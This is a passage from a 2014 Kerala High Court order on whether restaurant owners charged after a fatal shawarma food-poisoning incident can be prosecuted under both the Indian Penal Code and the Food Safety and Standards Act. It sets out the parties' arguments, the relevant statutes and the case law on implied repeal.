Try out our Premium Member services: Virtual Legal Assistant, Query Alert Service and an ad-free experience. Free for one month and pay only if you like it.
IN THE HIGH COURT OF KERALA AT ERNAKULAM PRESENT: THE HONOURABLE MR. JUSTICE K.RAMAKRISHNAN TUESDAY, THE 9TH DAY OF DECEMBER 2014/18TH AGRAHAYANA, 1936 Crl.MC.No. 1266 of 2013 () --------------------------- CRIME NO. 732/2012 OF MUSEUM POLICE STATION, THIRUVANANDAPURAM PETITIONERS/ACCUSED:-: ----------------------- 1. ABDUL KHADER, S/O.MUHAMMED, FLAT NO.3A, HEAVEN, PUNDIT'S COLONY, KURANVANKONAM WARD, KOWDIAR, THIRUVANANTHAPURAM FROM KALANNOOR VEEDU, KALANNOORPURAM DESOM, BAYAR VILLAGE, KASARAGOD TALUK. (A1). 2. JALEEL, S/O.MUHAMMED, H.NO.A72, SASTHAMANGALAM, SASTHAMANGALAM VILLAGE FROM B.C.HOUSE, KUKAR DESOM MAGALPAD, UPPALAM VILLAGE, KASARAGOD (A2). 3. RAJKUMAR SAHU, S/O.MUNNAN SAHU, SANTHOSHPUR DESOM, MIRGON VILLAGE VIDANAPPUR DISTRICT, BANGAL. (A3). 4. JANTTU SAIT, S/O.PANCHANAN SAIT, RESIDENT OF MINTUGERU DESOM, WEST BENGAL (A4) 5. ABDULSALAM, S/O.ABDUL RAHMAN, VARUVILAKATHU VEEDU, NEAR KARUMAVARI MUSLIM JAMA ATH, UPANIYOOR DESOM, KALLIYOOR VILLAGE, THIRUVANANTHAPURAM DISTRICT (A5). BY ADV. SRI.SASTHAMANGALAM S. AJITHKUMAR RESPONDENTS/RESPONDENTS:-: -------------------------- 1. THE STATE OF KERALA REPRESENTED BY THE PUBLIC PROSECUTOR HIGH COURT OF KERALA, ERNAKULAM - 682 031. 2. THE SUB INSPECTOR OF POLICE, MUSEUM POLICE STATION REPRESENTED BY PUBLIC PROSECUTOR HIGH COURT OF KERALA, ERNAKULAM, PIN - 682 031. ADDL.R3. FOOD SAFETY OFFICER, THIRUVANANDAPURAM. ADDL.R3 IMPLEADED AS PER ORDER DATED 28.1.2014 IN CRL.M.C.1266/13. R1 &2 BY ADGP. TOM JOSE PADINJAREKKARA THIS CRIMINAL MISC. CASE HAVING BEEN FINALLY HEARD ON 23.10.2014, THE COURT ON 09-12-2014,PASSED THE FOLLOWING: Crl.MC.No. 1266 of 2013 () --------------------------- APPENDIX PETITIONERS' ANNEXURE: ---------------------- ANNEXURE A. CERTIFIED COPY OF THE F.I.R IN CR.732/12 PENDING ON THE FILE OF JUDICIAL FIRST CLASS MAGISTRATE COURT-II, THIRUVANANTHAPURAM. RESPONDENTS' ANNEXURE:NIL ---------------------- /TRUE COPY/ P.S TO JUDGE cl "CR" K. RAMAKRISHNAN, J. ................................................. Crl.M.C.No.1266 of 2013 .................................................. Dated this the 9th day of December, 2014. O R D E R
Accused Nos.1 to 5 in Crime No.732/2012 of Museum police station, Thiruvananthapuram have filed this petition to quash the proceedings under section 482 of the Code of Criminal Procedure.
2. It is alleged in the petition that the petitioners are accused 1 to 5 in Crime No.732/2012 of Museum police station, Thiruvananthapuram alleging offences under Sections 273, 328 and 34 of the Indian Penal Code read with Section 59(iii) of the Food Safety & Standards Act. This case was registered upon a complaint No.187/DPIN/BS/12 dated 15.7.2012 and the crime was registered by the Sub Inspector of Police, Museum police station. The second respondent is a police officer, who is not a notified authority under the Food Safety and Standard Act, which came with effect from 29.7.2010. The petitioners are conducting a restaurant by name "Salwa Cafe' at Vazhuthacaud junction, Thiruvananthapuram. The allegation was that on 10.7.2012, the second accused prepared Crl.M.C.No.1266 of 2013 2 food article by name 'Shavarma', which was injurious to health and that was sold to several persons, who developed complications and that, around 10 persons were admitted in different hospitals in Thiruvananthapuram. It is alleged that a person by name Sachin Mathew Roy, aged 21 years, also purchased and consumed 'Shavarma' from the restaurant of the petitioners on 10.7.2012 and he developed serious gastro problem, which resulted in his death at Bangalore. It is further known that with regard to the death of Sachin Mathew Roy, Crime No.UDR/No.52/12 under section 174 of the Code of Criminal Procedure was registered in Kalasipalayam police station and it is being investigated.
3. On the basis of the complaint received, Museum police has registered Crime No.732/2012 alleging offences under Sections 273, 328 and 34 of the Indian Penal Code read with section 59 (iii) of the Food Safety and Standard Act, 2006. During the course of investigation, on 18.7.2012 around 4 p.m the petitioners surrendered before the Sub Inspector of Polcie, Museum police station and they were arrested and produced before the Judicial First Class Magistrate Court-III, Thiruvananthapuram on 19.7.2012 and Crl.M.C.No.1266 of 2013 3 they were remanded to judicial custody and after 50 days of judicial custody, the petitioners were granted bail. After the death of Sachin Mathew Roy, the Food Safety Authority has filed a complaint before the Judicial First Class Magistrate Court -III, Thiruvananthapuram and it is pending as C.C.No.231/2012 as against the first petitioner. The case of the petitioners is that after the coming into force the Food Safety and Standard Act, the general provisions in the Indian Penal Code regarding the same subject matter is impliedly repealed and they cannot be dealt with under both the enactments. Further different procedure and different punishment have been provided under the later Act namely Food Safety and Standard Act, 2006 and severe punishment has been provided for selling unsafe food causing death and this Act has repealed the existing Prevention of Food Adulteration Act and taken care of all type of offences relating to sale of food and consequences ensued on account of sale of such food. So, under the circumstances, they cannot be proceeded against under two enactments and they prayed for quashing the proceedings on that ground.
4. The Inspector of Police, Museum police station has Crl.M.C.No.1266 of 2013 4 filed a statement contending as follows:
On the strength of a complaint received from one Jijesh, a crime was registered in Museum police station as Cr.No.732/2012 under Section 328 and 34 of the Indian Penal Code against the petitioners. The allegation was that on 15.7.2012 a petition was received from one Jijesh complaining that he and two other friends consumed 'Shavarma' bought from 'Salwa Cafe', Vazhuthakad, Thiruvananthapuram on 10.7.2012 and it was infected with food poisoning. All the three persons were admitted to Medical College Hospital and were undergoing treatment there and requested to take action against the hotel owner. On the strength of the petition, a crime was registered and investigation of the above case was also revealed the commission of offence under section 273 of the Indian Penal Code and a report was submitted to add that section also. It was revealed during investigation that several persons, who consumed 'Sharvama' from the said hotel on the fateful day were infected with food poisoning and were admitted to several hospitals in and around Thiruvananthapuram City and reports have come through visual media and print media that on account of consumption of the same, several other Crl.M.C.No.1266 of 2013 5 persons also infected by food poisoning and a death was reported from Bangalore of one Sachin Mathew Roy who also consumed the 'Shavarma' bought from 'Salwa Cafe'. Investigation revealed that A1-Abdul Khader, S/o.Muhammed, aged 50, Flat No.3A, Heaven, Pandit Colony, Kowdiar, Kuravankonam Ward from Kalanoor Veedu, Kalannoorpuram Desom, Bayar Village, Kasarcodu, A-2 Jaleel, aged 27, S/o. Muhammed, H.No.A.72, Sathamangalam, Sasthamangalam Village, from B.C House, Kurar Desom, Mangalpad Uppalam Village, Kasacodu, A3- Rajkumar Sahu, aged 22, S/o. Muhhan Sahu, Santhoshpur Desom, Mirgon Village, Vidanappur District, Bangal, A4-Jenthu Sett, aged 20, S/o. Panchanan Sett, Mijigeru Desom, Pulamon Village, Poorva Midhinapur, West Bengal, A6- Abdul Salam, aged 42, S/o. Abdul Rehman, Charuvilakathu Veedu, in front of Muslim Jama Ath, Karuvani, Upaniyoor Desom, Kalliyoor Village were responsible for the preparation and sale of the same and so they were arrested on 18.7.2012 and were remanded to judicial custody. Section 59
(iii) of Food Safety and Standard Act was added as that offence was also committed.
5. When the death of Sachin Mathew Roy was reported Crl.M.C.No.1266 of 2013 6 from Bangalore, Kalasipalayam police registered a case as UDR.No.52/2012 under section 174 of the Code and inquest was conducted and postmortem examination was conducted and it was revealed that he also died on account of the food poisoning due to consumption of 'Shavarma' sold from the shop of the accused persons and on that basis, they have added Section 304 of the Indian Penal Code also and investigation is pending. When it was revealed that a complaint was filed by the Food Safety and Standard Authority and that is pending as C.C.No.231/2012 against the first petitioner and section 59
(iii) of Food Safety and Standard Act was added in that complaint, they filed a report to delete that section from the First Information Report. The allegation that the police has no power to investigate the offence under this Act is not correct. No crime was registered under the provisions of the Food Safety and Standard Act and the petitioners were not arrested in connection with the the offences under that Act. They are independent and distinct offences and it was not covered by the Special Act. Dr. G. Samuel has filed a petition along with father of deceased Sachin Roy Mathew before Kerala State Human Rights Commission, Thiruvananthapuram and that is Crl.M.C.No.1266 of 2013 7 also pending consideration before the Commission as HRMP.No.3985/2012 and HRMP.No.4007 of 2012. So according to the respondents, the petitioners are not entitled to get the relief of quashing the proceedings and they prayed for dismissal of the petition.
6. The third respondent filed a statement contending as follows:
On 12.7.2012 at about 8 p.m the Joint Food Safety Commissioner, Sri.K. Anil Kumar, received a complaint over phone from Mr. Shobi Thilakan that he and his family were severely affected by food poisoning by consuming the 'Shavarma' in the evening on 10.7.2012 from the restaurant and they were undergoing treatment at PRS Hospital, Thiruvananthapuram. Based on the information, Food Safety Officer, Mobile Vigilance Squad, Thiruvananthapuram was entrusted to enquire the matter and report. By about 8 p.m on 12.7.2012 he met Sri.Shobi Thilakan and Dr. Rakesh of Gastroenterology Department at the hospital, who was treating these patients and prepared statement. It is a clear case of food poisoning and Sri. Shobi Thilakan asserted that the 'Shavarma' he consumed was the Crl.M.C.No.1266 of 2013 8 reason for the food poisoning and explained the course of events as he purchased four 'shavarma' parcel by 8 p.m on 10.7.2012, went home and he and his wife and two children ate the same by 9 p.m. By early morning, all of them started vomiting and had Diarrhea etc. He had also informed that Aravind, aged 14, Muhammed Ammar, aged 8, Krishnanthampi and three other family members were also under treatment at the PRS Hospital due to consumption of 'Shavarma'. Out of them, Anand was in the IC Unit whose condition was critical. Food Safety Officer, Mobile Vigilance Squad, Thiruvananthapuram had conducted inspection in the premises of 'Salwa Cafe' at 9.30 p.m on 12.7.2012 and found that the hotel was running in unsanitary conditions and the proprietor failed to produce the PFA licence or Food Safety Standard Licence and medical fitness certificate of employees and hence ordered to close down the hotel under oral instruction from Commissioner of Food Safety.
7. On 13.7.2012, considering the gravity of offence, the Commissioner of Food safety himself issued emergency prohibition order under section 34 of the Food Safety & Standards Act 2006. The same was affixed on the shutter of Crl.M.C.No.1266 of 2013 9 'Salwa Cafe' running in building bearing number 15/1989. The depositions of the injured were taken on 14.7.2012 from PRS Hospital, Thiruvananthapuram. On 15.7.2012 there was a flash news in visual media that one Scahin Mathew Roy passed away at Bangalore by consuming 'Shavarma' sold from the said restaurant. Enquiry was conducted in the matter and depositions of all concerned were taken by the Designated Officer and Food Safety Officer. These things revealed that they had also taken 'shavarma' from the said restaurant on 10.7.2012 night. So it is clear from the circumstances that the licensee of the shop had sold the unsafe 'Shavarma' and thereby committed the offence, manufacturing and selling of unsafe food and thereby caused death of one person and serious injury to several persons. Sri.A.Satheeshkumar was appointed as Food Safety Officer for the State of Kerala by the Commissioner of Food Safety under Section 37(1) of Food Safety and Standards Act, 2006 vide order No.D- 2143/2011/CFS dated 22.8.2011 and notified in the Kerala Gazette No.1 dated 3.1.2012. As per section 42(5) of the Food Safety & Standards Act, 2006, the Food Safety Officer is empowered to launch prosecution. Before the Judicial First Crl.M.C.No.1266 of 2013 10 Class Magistrate Court-III, Thiruvananthapuram, it was originally taken as C.C.No.1403/2012, which was subsequently transferred to Chief Judicial Magistrate Court, Thiruvananthapuram where it was numbered as C.C.No.231/2012 against the first petitioner alleging offences under sections 3(1)(zz)(iii) and (x), 26(1), 26(2)(i),59(iii) & (iv), 31(1), 65(a) &(b), 97(3) of the Food Safety & Standard Act, 2006 read with Regulations 2.1 of the Regulations 2011 as Annexure-R3(a). They prayed for dismissal of the application.
8. Heard both sides.
9. The counsel for the petitioners Sri. Sasthamangalam Ajithkumar submitted that Chapter XIV of the Indian Penal Code deals with offences affecting the public health, safety, convenience, decency and morals and section 272 deals with adulteration of food or drink intended for sale and section 278 deals with making atmosphere noxious to death. Section 273 deals with sale of noxious food or drink. Section 3(zz) of the Food Safety and Standard Act, 2006 which came into effect from 29.7.2010 defines "unsafe good" which includes all types of foods mentioned in Section 272 and 273 of the Indian Penal Code and Section 59 of the Act deals with punishment Crl.M.C.No.1266 of 2013 11 which takes in case of death due to sale of unsafe good as well. Further Section 97 of the Act deals repeal of existing laws on this subject. So, even if, it was not specifically mentioned that this Act repeals the provisions of the Indian Penal Code dealing with same subject matter, they are repealed impliedly by virtue of Section 6 of the General Clauses Act. He had relied on the decisions reported Joseph Kurian v. State of Kerala (1994 KHC 513), an unreported decision of the Allahabd High Court in Writ Petition No.8254 (MB) of 2010 M/s. Pepsico India Holdings (Pvt.) Ltd. v. State of U.P & others, C.H. Sathyanarayan v. State of Delhi High Court in Crl.R.P.No.114/2005, Akki Veeraiah v. State (Inspector, Special Police (1957 Crl.L.J.1078), The Dharangadhra Chemical Works v. Dharangadhra Municipality & another (AIR 1985 SC 1729), Zaverbhai Amaidas v. The State of Bombay (1955 (1) SCR 799), Deep Chand v. State of U.P (AIR 1959 SC 648), Hans Raj v. Rattan Chand and others (AIR 1967 SC 1780), Municipal Corporation of Delhi v. Shiv Shanker (AIR 1971 SC 815) in support of his case.
10. On the other hand, Sri. Tom Jose Padinjarekara, Crl.M.C.No.1266 of 2013 12 Additional Director General of Prosecutions submitted that the cases under the Indian Penal Code and Food Safety and Standard Act are different and distinct offences and as such there is no bar in proceeding against the person in two different enactments, if they fall under the definition of offences mentioned under each Act. Under the Food Safety Act only those who are violating the provisions of the Act will be held responsible and not other persons involved in the process. Only the licensee will be proceeded against for violation under the Act. But under the Indian Penal Code, other persons, who are involved in the manufacture, sale and otherwise connected with the act of sale and all who were responsible for the commission of the offence can be proceeded against. Further the offences under the Food Safety and Standard Act is a technical offence and if there is any flow in following the procedure, it will ends acquittal and scope of investigation is very less in that case, whereas offences under the Indian Penal Code will be investigated thoroughly by the investigating agency not only violations of the provisions of the particular enactment but also culpable act of each person which resulted in the ultimate cause for the injury to a person or Crl.M.C.No.1266 of 2013 13 death ensued on account of such Act. The procedure and nature of evidence to be collected, burden of proof etc are also different. Further, in this case, offences were charged not only under the Food Safety and Standard Act but also offences under sections 272, 273, 328 and 304 of the Indian Penal Code and when it was revealed that the case was filed by the competent authority under the Food Safety and Standard Act, 2006, the provisions under that Act which was incorporated in the First Information Report has been deleted and they are only proceeding with the offences under the Indian Penal Code. He had relied on the decisions reported in Om Prakash Gupta v. State of U.P.(AIR 1957 SC 458), State of Bihar v. Murad Ali Khan and Others (AIR 1989 SC 1), and State of Bombay v. S.L. Apte (AIR 1961 SC
578) in support of his case.
11. Heard both sides. Perused the records.
12. It is an admitted fact that petitioners 1 to 5 are conducting a restaurant by name 'Salwa Cafe' at Vazhuthacaud in Thiruvananthapuram district and it is also an admitted fact that a particular food item by name 'Shavarma' was sold from that shop and several persons have purchased Crl.M.C.No.1266 of 2013 14 and ate that food article and some of them sustained severe stomach ailment and admitted in hospital and accordingly a mass complaint was received by the Circle Inspector of police, Thiruvananthapuram regarding this aspect which was forwarded to the Museum police station, Thiruvananthapuram district, within whose jurisdiction the restaurant was situated and accordingly Annexure-A First Information Report was registered as Crime No.732/2012 of Museum police station under Section 328 read with Section 34 of the Indian Penal Code against "Salwa Cafe" owner and others, Vazhuthacaud. It is also in a way admitted that sale had taken place between 10.7.2012 and 16.7.2012 and several persons who had eaten that food article suffered serious health problems. It is also in a way admitted that a person by name Sachin Mathew Roy had suffered stomach problem and he underwent treatment in Bangalore hospital and later succumbed to the same.
13. It is also an admitted fact that on the basis of the complaint given by some persons, who ate 'Shavarma' purchased from the shop conducted by the petitioners suffered severe stomach ailment, a crime was registered and while that was under investigation, they got information that Crl.M.C.No.1266 of 2013 15 one Sachin Mathew Roy, who also purchased and ate 'Shavarma' succumbed to injuries, another crime was registered and thereafter that was also clubbed with Crime No.732/2012 after adding Section 304 of the Indian Penal Code as well. It is also an admitted fact that on getting information regarding the incident, the Food Safety Officer, Mobile Vigilance Squad, Thiruvananthapuram conducted enquiry and took steps and accordingly he had conducted enquiry and filed complaint under section 42(5) of the Food Safety and Standards Act, 2006 before the Judicial First Class Magistrate Court-III, Thiruvananthapuram against the first petitioner herein alleging offences under Sections 3(1)(zz)(iii) & (x), 26 (1), 26(2)(i), 59(iii)&(iv), 31(1), 65(a)&(b), 97(3) of the Food Safety & Standards Act, 2006 read with Regulation 2.1 of the Regulations 2011 and thereafter it was transferred to Chief Judicial Magistrate Court, Thiruvananthapuram, where it is now pending as C.C.231/2012. The Prevention of Food Adulteration Act was repealed by the present Food Safety and Standards Act, 2006 and it was intended to protect the public against the selling and manufacturing of unsafe good.
14. Section 3(zz) of the Act defines "unsafe food" which Crl.M.C.No.1266 of 2013 16 reads as follows:
Section 3(zz) "Unsafe food" means an article of food whose nature, substance or quality is so affected as to render it injurious to health:
(i) by the article itself, or its package thereof, which is composed, whether wholly or in part, of poisonous or deleterious substances; or
(ii) by the article consisting, wholly or n part, of any filthy, putrid, rotten, decomposed or diseased animal substance or vegetable substance; or
(iii) by virtue of its unhygienic processing or the presence in that article of any harmful substance; or
(iv) by the substitution of any inferior or cheaper substance whether wholly or in part; or
(v) by addition of a substance directly or as an ingredient which is not permitted; or
(vi) by the abstraction, wholly or in part, of any of its constituents; or
(vii) by the article being so coloured, flavoured or coated, powdered or polished, as to damage or conceal the article or to make it appear better or of greater value than it really is; or
(viii) by the presence of any colouring matter or preservatives other than that specified in respect thereof; or
(ix) by the article having been infected or infested with worms, weevils or insects; or Crl.M.C.No.1266 of 2013 17
(x) by virtue of its being prepared, packed or kept under insanitary conditions; or
(xi)by virtue of its being mis-branded or sub-standard or food containing extraneous matter; or
(xii) by virtue of containing pesticides and other contaminants in excess of quantities specified by regulations".
15. Section 59 of the Act deals with punishment for unsafe food, which reads as follows:
59. Punishment for unsafe food:- Any person who, whether by himself or by any other person on his behalf, manufactures for sale or stores or sells or distributes or imports any article of food for human consumption which is unsafe, shall be punishable:-
(i) where such failure or contravention does not result in injury, with imprisonment for a term which may extend to six months and also with fine which may extend to one lakh rupees;
(ii) where such failure or contravention results in a non- grievous injury, with imprisonment for a term which may extend to one year and also with fine which may extend to three lakh rupees;
(iii) where such failure or contravention results in a grievous injury, with imprisonment for a term which may Crl.M.C.No.1266 of 2013 18 extend to six years and also with fine which may extend to five lakh rupees;
(iv) where such failure or contravention results in death, with imprisonment for a term which shall not be less than seven years but which may extend to imprisonment for life and also with fine which shall not be less than ten lakh rupees.
16. Section 89 of the Act giving overriding effect of this Act over all other food related laws which reads as follows:
Section 89 overriding effect of this Act over all other food related laws:- The provisions of this Act shall have effect notwithstanding anything inconsistent therewith contained in any other law for the time being in force or in any instrument having effect by virtue of any law other than this Act.
17. Section 97 deals with Repeal and savings which reads as follows:
97. Repeal and savings:- (1) With effect from such date as the Central Government may appoint in this behalf, the enactment and orders specified in the Second Schedule shall stand repealed:
Provided that such repeal shall not affect:-
(i) the previous operations of the enactment and orders under repeal or anything duly done or suffered Crl.M.C.No.1266 of 2013 19 thereunder; or
(ii) any right, privilege, obligation or liability acquired, accrued or incurred under any of the enactment or Orders under repeal; or
(iii) any penalty, forfeiture or punishment incurred in respect of any offences committed against the enactment and Orders under repeal; or
(iv) any investigation or remedy in respect of any such penalty, forfeiture or punishment, and any such investigation, legal proceedings or remedy may be instituted, continued or enforced and any such penalty, forfeiture or punishment may be imposed, as if this Act had not been passed:
(2) If there is any other law for the time being in force in any State, corresponding to this Act, the same shall upon the commencement of this Act, stand repealed and in such case, the provisions of section 6 of the General Clauses Act, 1897 (10 of 1897) shall apply as if such provisions of the State law had been repealed.
(3) Notwithstanding the repeal of the aforesaid enactment and Orders, the licences issued under any such enactment or Order, which are in force on the date of commencement of this Act, shall continue to be in force till the date of their expiry for all purposes, as if they had been issued under the provisions of this act or the rules or Crl.M.C.No.1266 of 2013 20 regulations made thereunder.
(4) Notwithstanding anything contained in any other law for the time being in force, no court shall take cognizance of any offence under the repealed Act or Orders after the expiry of a period of three years from the date of the commencement of this Act."
18. The second schedule to the Act shows the enactments which were repealed after coming into force of this Act which do not include any of the provisions of the Indian Penal Code which deals with the acts covered under these provisions.
19. Chapter XIV of Indian Penal Code deals with offences affecting the public health, safety convenience, decency and morals and sections 272 and 273 deal with sale of adulterated food or drink and noxious food or drink which read as follows:
Section 272:- Adulteration of food or drink intended for sale:- Whoever adulterates any article of food or drink, so as to make such article noxious as food or drink, intending to sell such article as food or drink, or knowing it to be likely that the same will be sold as rood or drink, shall be punished with imprisonment or either description for a term which may extend to six months, or with fine which may extend to one thousand rupees, or with Crl.M.C.No.1266 of 2013 21 both.
Section 273: Sale of noxious food or drink:Whoever sells, or offers or exposes for sale, as food or drink, any article which has been rendered or has become noxious, or is in a state unfit for food or drink, knowing or having reason to believe that the same is noxious as food or drink, shall be punished with imprisonment of either description for a term which may extend to six months, or with fine which may extend to one thousand rupees, or with both.
20. Chapter XVI of the Indian Penal Code deals with offences affecting the human body and Section 304 deals with punishment for culpable homicide not amounting to murder, which reads as follows:
304. Punishment for culpable homicide not amounting to murder:- Whoever commits culpable homicide not amounting to murder shall be punished with [imprisonment for life], or imprisonment of either description for a term which may extend to ten years, and shall also be liable to fine, if the act by which the death is caused is done with the intention of causing death, or of causing such bodily injury as is likely to cause death, or with imprisonment of either description for a term which may extend to ten years, or with fine, or with both, if the act is done with the knowledge that it is likely Crl.M.C.No.1266 of 2013 22 to cause death, but without any intention to cause death, or to cause such bodily injury as is likely to cause death.
21. Section 6 of the General Clauses Act deals with the effect of repeal of Act making textual amendment in Act or Regulation which reads as follows:
6.Effect of repeal:- Where this Act, or any [Central Act} or Regulation made after the commencement of this Act repeals any enactment hitherto made or hereafter to be made, then, unless a different intention appears, the repeal shall not-
(a) revive anything not in force or existing at the time at which the repeal takes effect; or
(b) affect the previous operation of any enactment so repealed or anything duly done or suffered thereunder;or (c ) affect any right, privilege, obligation or liability acquired, accrued or incurred under any enactment so repealed; or
(d) affect any penalty, forfeiture or punishment incurred in respect of any offence committed against any enactment so repealed; or
(e) affect any investigation, legal proceeding or remedy in respect of any such right, privilege, obligation, Crl.M.C.No.1266 of 2013 23 liability,penalty, forfeiture or punishment as aforesaid, and any such investigation, legal proceeding or remedy may be instituted, continued or enforced, and any such penalty, forfeiture or punishment may be imposed as if the repealing Act or Regulation had not been passed"
22. Section 26 of the General Clauses Act deals with provisions as to offences punishable under Section of two or more enactments, which reads as follows:
26. Provision as to offences punishable under two or more enactments:- Where an act or omission constitutes an offence under two or more enactments, then the offender shall be liable to be prosecuted and punished under either or any of those enactments, but shall not be liable to be punished twice for the same offence.
It is clear from the above that though certain provisions of the Indian Penal Code and Food Safety and Standards Act overlap on the same subject, it will have to be considered as to whether a person committed the offence can be proceeded against, if the act complained of may be an offence under two enactments, independently will depend upon as to whether the offences alleged are distinct and different or the Crl.M.C.No.1266 of 2013 24 same and by virtue of the special Act being enacted on the subject matter whether general provisions will be impliedly repealed etc and those things have to be considered on facts of each case.
23. It is true that if there is any provision made covering a particular offence in respect of which there is a general law and a special law was enacted subsequent to the general law, then normally the special law will prevail over the same and even if there no specific exclusion, if from the circumstances, it can be revealed that it is impliedly repealed, then the provisions in the special law will prevail over that subject matter.
24. In the unreported decision in Writ Petition No.8254 (MB) of 2010 M/s Pepsico India Holdings (Pvt) Limited and another v. State of U.P and others, the High Court of Judicature at Allahabad, Lucknow Bench considered the question as to whether the provisions of the Food Safety Act has impliedly repealed the offences under sections 272 and 273 of the Indian Penal Code which deals with sale of adulterated food or drink or noxious food or drink and held in the affirmative and held that a person cannot be prosecuted Crl.M.C.No.1266 of 2013 25 under both enactments separately or only under the latter Act namely Food Safety and Standards Act.
25. In the decision reported in Jeevan Kumar Raut & Anr. v. Central Bureau of Investigation (AIR 2009 SC 2763) the Hon'ble Supreme Court has held that by virtue of section 22 of Transplantation of Human Organ Act where a particular procedure has been given for dealing with offences under that Act, the general provisions regarding the investigation as provided under the Code of Criminal Procedure will not be applicable as it will have a overriding effect over the general procedure provided under the Criminal Procedure Code regarding investigation. In paragraph 19 of the decision, the Hon'ble Supreme Court has observed as follows:
"19. Section 22 of TOHO prohibits taking of cognizance except on a complaint made by an appropriate authority or the person who had made a complaint earlier to it as laid down therein. Respondent, although , has all the powers of an investigating agency, it expressly has been statutorily prohibited from filing a police report. It could file a complaint petition only as an appropriate authority so as to comply with the requirements contained in Section Crl.M.C.No.1266 of 2013 26 22 of TOHO. If by reason of the provisions of TOHO, filing of a police report by necessary implication is necessarily forbidden, the question of its submitting a report in terms of sub-section (2) of Section 173 of the Code did not and could not arise. In other words, if no police report could be filed, sub-section (2) of Section 167 of the Code was not attracted."
26. In paragraph 29 of the same judgment it has been further observed as follows:
"In this case however, the respondent has not specifically been empowered both under the 1946 Act as also under the Code to carry out investigation and file charge sheet as is precluded from doing so only by reason of section 22 of Transplantation of Human Organs Act. It is doubtful as to whether in the event of authorization of officer of the department to carry out investigation on a complaint made by the third party he would be entitled to arrest the accused and carry on investigation as if he is a police officer he hope that parliament would take appropriate measure to suitably amend the law in the near future".
27. In the decision reported in Jamiruddin Ansari v.
Central Bureau of Investigation (2009 (6) SCC 316), while construing the provisions of Maharashtra Control of Organised Crl.M.C.No.1266 of 2013 27 Crime Act, 1999 (hereinafter referred to as MCOCA), the Hon'ble Supreme Court has held that:
"Although the special judge is entitled to take cognizance of the offences under MCOCA even on a private complaint, but after due compliance with either of a private nature or on a police report. Hence, on receipt of a private complaint, Special Judge has to forward the same to the officer indicated in section 23(1)(a) to have an inquiry conducted into the complaint by a police officer mentioned in section 23(1)(b). It is only thereafter that Special Judge can take cognizance of the offence complained of, if sanction is accorded to the special court to cognizance of such offence under section 23 (2). Special Judge cannot invoke provisions of section 156 (3) Cr.PC to order a special inquiry on such private complaint and take cognizance thereupon, without traversing the route indicated in S.23. It is also observed therein that section 9 cannot be read or invoked independent of S.23 and both these provisions must be read harmoniously.
28. In the decision reported in State of M.P. v. Kedia Leather and Liquor Ltd. and others (2003 (7) SCC 389), the Hon'ble Supreme Court had considered the effect of section 133 of the Code of Criminal Procedure and the provisions of Water (Prevention and Control of Pollution) Act, 1974 (Chapter Crl.M.C.No.1266 of 2013 28 5 and sections 32 and 33) and Air (Prevention and Control of Pollution) Act, 1981 (Chapter IV and sections 18, 20 & 22 A and considered the question as to whether by virtue of the above provisions under the above said Acts, Section 133 of the Code of Criminal Procedure is impliedly repealed and the Supreme Court has held that as section 133 of the Code and the two acts were mutually exclusive and there was no impediment to their existence side by side two acts did not impliedly overrule section 133 of the Code. While considering the provisions, the Supreme Court has observed as follows:
"There is presumption against a repeal by implication; and the reason of this rule is based on the theory that the legislature while enacting a law has complete knowledge of the existing laws on the same subject-matter, and therefore, when it does not provide a repealing provision, the intention is clear not to repeal the existing legislation.
When the new Act contains a repealing section mentioning the Acts which expressly repeals, the presumption against implied repeal of other laws is further strengthened on the principle expressio unius (persone vel rei) est exclusio alterius (The express intention of one person or thing is the exclusion of Crl.M.C.No.1266 of 2013 29 another). The continuance of the existing legislation, in the absence of an express provision of repeal by implication lies on the party asserting the same. The presumption is, however, rebutted and a repeal is inferred by necessary implication when the provisions of the later Act are so inconsistent with or repugnant to the provisions of the earlier Act that the two cannot stand together. But, if the two can be read together and some application can be made of the words in the earlier Act, a repeal will not be inferred.
The necessary questions to be asked are:
(1)Whether there is direct conflict between the two provisions.
(2). Whether the legislature intended to lay down an exhaustive Code in respect of the subject -matter replacing the earlier law.
(3) Whether the two laws occupy the same field. When the court applies the doctrine, it does no more than give effect to the intention of the legislature by examining the scope and the object of the two enactments and by a comparison of their provisions. The matter in each case is one of the construction and comparison of the two statutes. The court leans against implying a repeal. To determine whether a later statute repeals by implication an earlier statute, it is necessary to Crl.M.C.No.1266 of 2013 30 scrutinize the terms and consider the true meaning and effect of the earlier Act. Until this is done, it is impossible to ascertain whether any inconsistency exists between the two enactments."
29. The Constitution Bench of the Supreme Court in Deep Chand v. State of U.P (AIR 1959 SC 648) considered the question of repugnance between two statutes and how this will have to be considered as follows:
"Repugnancy between two statutes may be ascertained on the basis of the following three principles: (1)Whether there is direct conflict between the two provisions;
(2)Whether Parliament intended to lay down an exhaustive code in respect of the subject-matter replacing the Act of the State Legislature; and (3)Whether the law made by Parliament and the law made by the State Legislature occupy the same field."
30. The same view has been reiterated in the decision reported in Tansukh Rai Jain v. Nilratan Prasad Shaw and others (AIR 1966 SC 1780). Further in the decision reported in Municipal Corporation of Delhi v. Shiv Shanker (AIR Crl.M.C.No.1266 of 2013 31 1971 SC 815) while considering the question as to whether the provisions of the Essential Commodities Act or Fruit Products Order made thereunder can impliedly repealed Prevention of Food Adulteration Act and observed as follows:
"The object and purpose of the Adulteration Act is to eliminate the danger to human life and health from the sale of unwholesome articles of food. The Essential Commodities Act on the other hand has for its object the control of the production, supply and distribution of, and trade and commerce in, essential commodities. In spite of this difference the two provisions may have conterminous fields of operation. The provisions of the Adulteration Act and of the Fruit Order are supplementary and cumulative in their operation and they can stand together. If the Adulteration Act or Rules impose some restrictions on the manufacturer, dealer and seller of vinegar then they have to comply with them irrespective of the fact that the Fruit Order imposes lesser number of restrictions in respect of these matters. The Parliament did not intend by enacting the Essential Commodities Act or the Fruit Order to impliedly repeal the provisions of the Adulteration Act and the Rules in respect of the vinegar. Both the statures can function with full vigour side by side in their own parallel Crl.M.C.No.1266 of 2013 32 channels. Even if they happen to some extent to overlap, Section 26 of the General Clauses Act fully protects the guilty parties against double jeopardy or double penalty. Both the Adulteration Act and the Essential commodities Act have been amended from time to time after their enactment. The subsequent amendments of the Adulteration Act and of the Essential Commodities Act by the Parliament and the amendment of the Adulteration rules would also tend to negative any legislative intendment of implied repeal of the Adulteration Act by the Essential Commodities Act or the Fruit Order."
31. In the decision reported in Zaverbhai Amaidas v.
